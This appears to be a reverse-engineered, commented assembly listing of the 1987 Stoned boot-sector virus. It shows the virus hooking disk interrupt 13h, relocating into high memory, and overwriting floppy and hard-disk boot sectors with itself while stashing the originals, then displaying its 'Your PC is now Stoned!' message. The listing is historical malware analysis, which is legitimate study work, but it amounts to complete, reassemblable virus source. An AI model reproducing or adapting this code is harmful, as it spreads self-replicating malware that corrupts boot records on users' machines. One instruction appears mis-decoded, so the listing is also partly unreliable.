; Stoned ; original source code, 1987 http://en.wikipedia.org/wiki/Stoned_(computer_virus) ; reverse engineering done by Peter Kleissner ; www.vienna-stoned.com ; jump table! ; ..stores just segments and offsets (will be patched at runtime) 00000000 EA0500C007 jmp word 07C0h:Set_Code_Segment ; make a jump to set correct Code Segment Set_Code_Segment: 00000005 E99900 jmp Stoned_Start ; initial address of stoned boot virus Hard_Disk_Infected: 00000008 00 db 0 ; 0 = not infected, 2 = hard disk infected Int_13h_Offset: 00000009 5102 dw 0000h ; offset of original Interrupt 13h handler Int_13h_Segment: 0000000B 00C8 dw 0000h ; segment of original Interrupt 13h handler Relocated_Memory_Offset: 0000000D E400 dw Relocated_Memory ; offset of relocated memory (this is useful for compiling Stoned into multiple parts) Relocated_Memory_Segment: 0000000F 809F dw 0000h ; patched dynamically Original_Bootloader_Offset: 00000011 007C dw 7C00h ; recognizing that address ;) Original_Bootloader_Segment: 00000013 0000 dw 0000h ; never used ; Memory Table ; 0000h:7C00h Stoned Bootloader will be loaded here by BIOS ; XXXXh:0000h Stoned will copy itself to there ; XXXXh:0200h Any original bootloader from floppy/hard disk will be read here to ; backups original bootloader from hard disk to logical sector 6 ; backups original bootloader from floppys at logical sector 2, head 1 (which is a bug) Interrupt_13h: ; Interrupt 13h Service (called by int 13h instruction) ; located somewhere at end of Real Mode memory ; store register and data segment - later passed to original interrupt handler 00000015 1E push ds 00000016 50 push ax ; handle only Read/Write/Verify Sectors commands (make a range check of function number) 00000017 80FC02 cmp ah,2 ; < Read Sectors 0000001A 7217 jc Interrupt_13h_Forward_Original 0000001C 80FC04 cmp ah,4 ; > Verify Sectors 0000001F 7312 jnc Interrupt_13h_Forward_Original ; validate BIOS drive number (only handle floppy device 0, thus hard drives 80h+ will be skipped) 00000021 0AD2 or dl,dl 00000023 750E jnz Interrupt_13h_Forward_Original ; acces to MEM 0040h:003Fh - DISKETTE - MOTOR STATUS 00000025 33C0 xor ax,ax 00000027 8ED8 mov ds,ax 00000029 A03F04 mov al,[043Fh] 0000002C A801 test al,00000001b ; diskette 0 motor on? 0000002E 7503 jnz Interrupt_13h_Forward_Original ; if yes do not operate (whyever) 00000030 E80700 call word Hook_Interrupt_13h ; hook the function call Interrupt_13h_Forward_Original: ; restore registers and call original interrupt handler and forward 00000033 58 pop ax 00000034 1F pop ds 00000035 2EFF2E0900 jmp word far [cs:Int_13h_Offset] Hook_Interrupt_13h: 0000003A 53 push bx 0000003B D15206 rcl word [bp+si+0x6],1 0000003E 56 push si 0000003F 57 push di 00000040 BE0400 mov si,4 ; 4 sectors in a loop to handle Hook_Interrupt_13h_loop: 00000043 B80102 mov ax,0201h ; function Read Sectors, 1 sector ; es:bx -> target data buffer, cs:0200h 00000046 0E push cs 00000047 07 pop es 00000048 BB0002 mov bx,0200h ; read sector 1 = bootloader 0000004B 33C9 xor cx,cx 0000004D 8BD1 mov dx,cx 0000004F 41 inc cx ; sector number 1 ; call original interrupt 13h to read the sector 00000050 9C pushfw 00000051 2EFF1E0900 call word far [cs:Int_13h_Offset] 00000056 730E jnc Hook_Interrupt_13h_Load ; call original interrupt 13h to reset the disk system 00000058 33C0 xor ax,ax ; Reset Disk System 0000005A 9C pushfw 0000005B 2EFF1E0900 call word far [cs:Int_13h_Offset] 00000060 4E dec si ; zero? 00000061 75E0 jnz Hook_Interrupt_13h_loop 00000063 EB35 jmp Hook_Interrupt_13h_Exit ; otherwise finished 00000065 90 nop Hook_Interrupt_13h_Load: ; set source (ds:si) to this relocated bootloader 00000066 33F6 xor si,si ; starting at offset 0 00000068 BF0002 mov di,0200h ; target = 0200h 0000006B FC cld 0000006C 0E push cs 0000006D 1F pop ds ; ds = cs ; compare 4 bytes, if the bootloader is already infected! 0000006E AD lodsw ; 1st word to compare 0000006F 3B05 cmp ax,[di] 00000071 7506 jnz Hook_Interrupt_13h_Not_Infected 00000073 AD lodsw ; 2nd word to compare 00000074 3B4502 cmp ax,[di+0x2] 00000077 7421 jz Hook_Interrupt_13h_Exit ; exit if already infected! Hook_Interrupt_13h_Not_Infected: ; write a backup of the bootloader to sector 3, head 1 00000079 B80103 mov ax,0301h ; function write sectors, 1 sector 0000007C BB0002 mov bx,0200h ; offset of data buffer 0000007F B103 mov cl,3 ; sector 3 (backup) 00000081 B601 mov dh,1 ; head 1 => BUG ; call original interrupt 13h to write the sector 00000083 9C pushfw 00000084 2EFF1E0900 call word far [cs:Int_13h_Offset] 00000089 720F jc Hook_Interrupt_13h_Exit ; exit if error ; now replace the bootloader with Stoned 0000008B B80103 mov ax,0301h ; function write sectors, 1 sector 0000008E 33DB xor bx,bx ; data buffer 00000090 B101 mov cl,1 ; sector 1 = bootloader 00000092 33D2 xor dx,dx ; floppy drive 0, head 0 ; call original interrupt 13h 00000094 9C pushfw 00000095 2EFF1E0900 call word [cs:Int_13h_Offset] Hook_Interrupt_13h_Exit: ; restore all the registers and return 0000009A 5F pop di 0000009B 5E pop si 0000009C 07 pop es 0000009D 5A pop dx 0000009E 59 pop cx 0000009F 5B pop bx 000000A0 C3 ret Stoned_Start: ; set data segment register 000000A1 33C0 xor ax,ax 000000A3 8ED8 mov ds,ax ; create a new stack 000000A5 FA cli 000000A6 8ED0 mov ss,ax 000000A8 BC007C mov sp,7C00h ; thanks to the author - I'm doing the same (also setting stack to lower boot sector) 000000AB FB sti ; store (patch) Segment:Offset value of Interrupt 13h 000000AC A14C00 mov ax,[13h * 4 + 0] ; Interrupt Vector 13h Offset 000000AF A3097C mov [Int_13h_Offset],ax 000000B2 A14E00 mov ax,[13h * 4 + 2] ; Interrupt Vector 13h Segment 000000B5 A30B7C mov [Int_13h_Segment],ax ; allocate 2048 bytes memory from the end of real mode memory 000000B8 A11304 mov ax,[0x413] ; MEM 0040h:0013h - BASE MEMORY SIZE IN KBYTES 000000BB 48 dec ax 000000BC 48 dec ax 000000BD A31304 mov [0x413],ax ; * 1024 / 16 = Segment Size 000000C0 B106 mov cl,6 ; 6 bits left shift = * 64 000000C2 D3E0 shl ax,cl 000000C4 8EC0 mov es,ax 000000C6 A30F7C mov [7C00h + Relocated_Memory_Segment],ax ; store segment of relocated memory for later usage ; set new Interrupt 13h handler 000000C9 B81500 mov ax,Interrupt_13h 000000CC A34C00 mov [13h * 4 + 0],ax ; Offset 000000CF 8C064E00 mov [13h * 4 + 2],es ; Segment ; now relocate this code to new allocated memory, where int 13h points to 000000D3 B9B801 mov cx,440 ; 440 bytes to copy (everything up to the Partition Table) 000000D6 0E push cs 000000D7 1F pop ds ; from ds:si (code segment:0) 000000D8 33F6 xor si,si 000000DA 8BFE mov di,si ; to es:di (allocated memory:0) 000000DC FC cld 000000DD F3A4 rep movsb ; rep movsd would be faster, but wasn't invented that time ;) ; originally, this must have been multiple files compiled to one (this is also why we have the jump table with segments at the beginning) ; otherwise, nobody would write this crap ;) (and it would make sense for 1980s development techniques) 000000DF 2EFF2E0D00 jmp word far [cs:Relocated_Memory_Offset] ; why not? Relocated_Memory: ; hehe ; execute Reset Disk System 000000E4 B80000 mov ax,0 000000E7 CD13 int 13h ; set register for reading the bootloader 000000E9 33C0 xor ax,ax 000000EB 8EC0 mov es,ax ; target segment = 0000h 000000ED B80102 mov ax,0x201 ; function Read Sectors, 1 sector 000000F0 BB007C mov bx,0x7C00 ; data buffer = 0000h:7C00h ; check if hard disk has already been infected 000000F3 2E803E080000 cmp [cs:Hard_Disk_Infected],byte 0 000000F9 740B jz Attack_Floppy_Hard_Disk ; read original bootloader from hard disk and execute it ; if already infected, sector 7 contains the backup, so load & execute 000000FB B90700 mov cx,7 ; sector 7, backup copy 000000FE BA8000 mov dx,80h ; first hard disk 00000101 CD13 int 13h 00000103 EB49 jmp short Stoned_Exit 00000105 90 nop Attack_Floppy_Hard_Disk: ; now attack ; - Floppy (first drive) <- will be started later ; - Hard Disk (first drive) ; load the original bootloader from the first floppy drive to 7C00h, will be executed later 00000106 B90300 mov cx,3 ; sector 3 00000109 BA0001 mov dx,0100h ; first floppy, head 1 0000010C CD13 int 13h 0000010E 723E jc Stoned_Exit ; if error, execute original bootloader ; display the message only if multiple of 440 ms time delay 00000110 26F6066C0407 test byte [es:046Ch],00000111b ; 0000h:046Ch = Timer ticks since midnight (updated every 55 milliseconds by BIOS) 00000116 7512 jnz Message_Output_Finished ; lets output "Your PC is now Stoned!" 00000118 BE8901 mov si,Stoned_Message 0000011B 0E push cs 0000011C 1F pop ds ; ds:si = message Message_Output_loop: 0000011D AC lodsb ; next character 0000011E 0AC0 or al,al ; zero? 00000120 7408 jz Message_Output_Finished 00000122 B40E mov ah,0Eh ; function teletype output 00000124 B700 mov bh,0 ; on first page 00000126 CD10 int 10h 00000128 EBF3 jmp short Message_Output_loop Message_Output_Finished: ; read bootloader from hard disk 0000012A 0E push cs 0000012B 07 pop es 0000012C B80102 mov ax,0x201 ; function Read Sectors, 1 sector 0000012F BB0002 mov bx,0x200 ; to address cs:0200h 00000132 B101 mov cl,0x1 ; sector 1 00000134 BA8000 mov dx,0x80 ; hard disk 00000137 CD13 int 13h 00000139 7213 jc Stoned_Exit ; check whether the hard disk is already infected 0000013B 0E push cs 0000013C 1F pop ds 0000013D BE0002 mov si,0200h ; source ds:si = cs:0200h (the read sector) 00000140 BF0000 mov di,0000h ; compare against this bootloader 00000143 AD lodsw ; 1st word to compare 00000144 3B05 cmp ax,[di] 00000146 7511 jnz Hard_Disk_Not_Infected 00000148 AD lodsw ; 2nd word to compare 00000149 3B4502 cmp ax,[di+0x2] 0000014C 750B jnz Hard_Disk_Not_Infected Stoned_Exit: ; exit from Stoned, execute original bootloader 0000014E 2EC606080000 mov [cs:Hard_Disk_Infected],byte 0 00000154 2EFF2E1100 jmp word far [cs:Original_Bootloader_Offset] ; exit to original bootloader.. Hard_Disk_Not_Infected: 00000159 2EC606080002 mov [cs:Hard_Disk_Infected],byte 2 ; remember that hard disk has been infected (has no effect) ; write backup 0000015F B80103 mov ax,0x301 ; function write sectors, 1 sector 00000162 BB0002 mov bx,0x200 ; data buffer 00000165 B90700 mov cx,7 ; backup copy 00000168 BA8000 mov dx,0x80 ; hard disk 0000016B CD13 int 13h 0000016D 72DF jc Stoned_Exit ; copy Partition Table 0000016F 0E push cs 00000170 1F pop ds ; ds = cs 00000171 0E push cs 00000172 07 pop es ; es = cs 00000173 BEBE03 mov si,0x3BE ; source = read sector 00000176 BFBE01 mov di,0x1BE ; target = copy of this bootloader 00000179 B94202 mov cx,0x242 ; cl = 4 * 16 + 2 (4 Partition Table entries + Magic Number) 0000017C F3A4 rep movsb ; infect the hard disk 0000017E B80103 mov ax,0x301 ; function write sectors, 1 sector 00000181 33DB xor bx,bx 00000183 FEC1 inc cl 00000185 CD13 int 13h 00000187 EBC5 jmp short Stoned_Exit ; Stoned message (7 = BEL, 13 = CF, 10 = LF) Stoned_Message db 7, "Your PC is now Stoned!", 7, 13, 10, 10, "LEGALISE MARIJUANA!" times 512-($-$$) db 0